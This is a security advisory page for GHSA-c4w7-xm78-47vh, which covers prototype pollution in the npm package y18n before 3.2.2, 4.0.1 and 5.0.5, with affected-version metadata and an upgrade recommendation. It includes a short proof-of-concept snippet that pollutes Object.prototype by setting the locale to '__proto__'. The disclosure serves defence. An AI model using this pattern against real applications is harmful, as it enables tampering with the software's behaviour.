GHSA-c4w7-xm78-47vh

    Dashboard / Vulnerabilities / GHSA-c4w7-xm78-47vh

    GHSA-c4w7-xm78-47vh

    Published: 29 Mar 2021Last Modified: 5 Dec 2024
    Aliases:

    Summary: Prototype Pollution in y18n

    Details: ### Overview The npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. ### POC ```js const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true ``` ### Recommendation Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

    Affected packages

    Package

    Name: y18n

    Purl: pkg:npm/y18n

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -3.2.2

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-c4w7-xm78-47vh | CVE-DB